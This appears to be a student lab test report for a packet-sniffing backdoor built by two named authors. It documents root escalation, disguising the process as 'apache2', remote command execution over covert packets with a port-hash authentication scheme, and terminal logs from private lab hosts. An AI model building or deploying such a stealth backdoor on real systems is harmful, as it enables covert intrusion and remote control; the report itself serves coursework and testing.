

# Packet Sniffing Backdoor Testing

William Murphy and Benny Wang

# Table of Contents

<b>Table of Contents</b>	<b>1</b>
<b>Escalate Privileges</b>	<b>2</b>
Inputs	2
Expected Results	2
Test Results	2
Status	2
<b>Mask Process Name</b>	<b>3</b>
Process	3
Expected Results	3
Test Results	3
Status	3
<b>Execute Command From Controller</b>	<b>4</b>
Process	4
Expected Results	4
Test Results	4
Status	5
<b>Rejecting From Local IP</b>	<b>6</b>
Process	6
Expected Results	6
Test Results	6
Status	7
<b>Rejecting Unauthenticated</b>	<b>8</b>
Process	8
Expected Results	8
Test Results	8
Status	8
<b>Rejecting Malformed</b>	<b>9</b>
Process	9
Expected Results	9
Test Results	9
Status	9

# Escalate Privileges

The backdoor should escalate its privileges to root privileges after running.

## Inputs

Run the backdoor.

## Expected Results

The backdoor is run as root.

## Test Results

PID	USER	PRI	NI	VIRT	RES	SHR	S	CPU%	MEM%	TIME+	Command
32633	root	20	0	7868	1540	1244	R	100.	0.0	0:38.07	apache2 server

## Status

Pass.

# Mask Process Name

The process name should be changed from backdoor to apache2 in the process list when it starts running.

## Process

Invoking the program in server mode.

## Expected Results

The list of processes returned by “ps aux” will display “apache2” instead of “backdoor”.

## Test Results

The screenshot below shows the result.

```
17:27:27(master)root@datacomm-192-168-0-21:build$ ./backdoor server &
[1] 18164
Starting in server mode
17:27:41(master)root@datacomm-192-168-0-21:build$ ps aux | grep backdoor
root      18170  0.0  0.0 215740  896 pts/2    S+   17:27   0:00 grep --color=auto backdoor
17:27:58(master)root@datacomm-192-168-0-21:build$ ps aux | grep apache2
root      18164 100  0.0   7868 1620 pts/2    R    17:27   0:24 apache2
root      18176  0.0  0.0 215740  892 pts/2    S+   17:28   0:00 grep --color=auto apache2
17:28:05(master)root@datacomm-192-168-0-21:build$
```

## Status

Passed.

# Execute Command From Controller

The backdoor should take a command from the controller, execute that command, and send back the output. The entire processes should be encrypted.

## Process

The backdoor server is running on the machine using 192.168.0.19. The client sends a command to the server.

## Expected Results

The server executes the command and sends the output back to the client.

## Test Results

Client side after sending "ls" to the backdoor server:

```
17:36:11(master)root@datacomm-192-168-0-21:build$ ./backdoor client "192.168.0.19" "ls"
Starting in client mode
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.21, received address = 192.168.0.21
ignoring packet from self
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.21, received address = 192.168.0.19
Received response:
backdoor
CMakeCache.txt
CMakeFiles
cmake_install.cmake
CPackConfig.cmake
CPackSourceConfig.cmake
CTestTestfile.cmake
DartConfiguration.tcl
Makefile
Testing
```

The server replies with the command's output.

Server side:

```
17:37:27(master)root@datacomm-192-168-0-19:build$ ./backdoor server
Starting in server mode
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.19, received address = 192.168.0.21
Command executed:
ls
Command output:
backdoor
CMakeCache.txt
CMakeFiles
cmake_install.cmake
CPackConfig.cmake
CPackSourceConfig.cmake
CTestTestfile.cmake
DartConfiguration.tcl
Makefile
Testing

Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.19, received address = 192.168.0.19
ignoring packet from self
^C
17:37:57(master)root@datacomm-192-168-0-19:build$
```

## Status

Pass.

# Rejecting From Local IP

The backdoor should ignore any commands and responses that have a source IP that is equal to the source IP of the interface it is sniffing on.

## Process

A backdoor is run on machine A. Packets are sent out on the same interface that the backdoor is sniffing.

## Expected Results

The backdoor does not execute any commands and ignores the packets.

## Test Results

The client rejects the packet from itself.

```
17:36:11(master)root@datacomm-192-168-0-21:build$ ./backdoor client "192.168.0.19" "ls"
Starting in client mode
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.21, received address = 192.168.0.21
ignoring packet from self
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.21, received address = 192.168.0.19
Received response:
backdoor
CMakeCache.txt
CMakeFiles
cmake_install.cmake
CPackConfig.cmake
CPackSourceConfig.cmake
CTestTestfile.cmake
DartConfiguration.tcl
Makefile
Testing
```

The server rejects the packet from itself.

```
17:37:27(master)root@datacomm-192-168-0-19:build$ ./backdoor server
Starting in server mode
Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.19, received address = 192.168.0.21
Command executed:
ls
Command output:
backdoor
CMakeCache.txt
CMakeFiles
cmake_install.cmake
CPackConfig.cmake
CPackSourceConfig.cmake
CTestTestfile.cmake
DartConfiguration.tcl
Makefile
Testing

Got an authenticated packet
  Source port: 17482
  Seqnum: 2737462743
local addresss = 192.168.0.19, received address = 192.168.0.19
ignoring packet from self
^C
17:37:57(master)root@datacomm-192-168-0-19:build$
```

## Status

Pass.



# Rejecting Unauthenticated

The backdoor should ignore packets that do not follow the authentication scheme. The sequence number should be the first 4 bytes of the SHA256 hash of the source port number.

## Process

A backdoor is run on machine A. Machine B sends a crafted packet where the sequence number and source port does not follow the authentication theme.

## Expected Results

The backdoor does not execute any commands and ignores the packet.

## Test Results

Client side after sending a packet with incorrect authentication:

```
17:47:56(master)root@datacomm-192-168-0-21:build$ ./backdoor client "192.168.0.19" "ls"
Starting in client mode
█
```

The server does not reply.

Server rejection:

```
17:37:57(master)root@datacomm-192-168-0-19:build$ ./backdoor server
Starting in server mode
^C
17:48:11(master)root@datacomm-192-168-0-19:build$ █
```

## Status

Pass.

# Rejecting Malformed

The backdoor should only execute commands that come in the for “start [%command%]end” where %command% is the command to execute.

## Process

A backdoor is run on machine A. Machine B sends a crafted packet that contains garbage in its payload.

## Expected Results

The backdoor does not execute any commands and ignores the packet.

## Test Results

Client side after sending an authenticated packet with incorrect command format:

```
17:51:08(master)root@datacomm-192-168-0-21:build$ ./backdoor client "192.168.0.19" "ls"
Starting in client mode
Got an authenticated packet
Source port: 37286
Seqnum: 3921866516
local addresss = 192.168.0.21, received address = 192.168.0.21
ignoring packet from self
```

The server does not reply.

Server side:

```
17:48:11(master)root@datacomm-192-168-0-19:build$ ./backdoor server
Starting in server mode
Got an authenticated packet
Source port: 37286
Seqnum: 3921866516
local addresss = 192.168.0.19, received address = 192.168.0.21
Could not find command start
```

The server ignores the packet since it cannot find the beginning of the command.

## Status

Pass.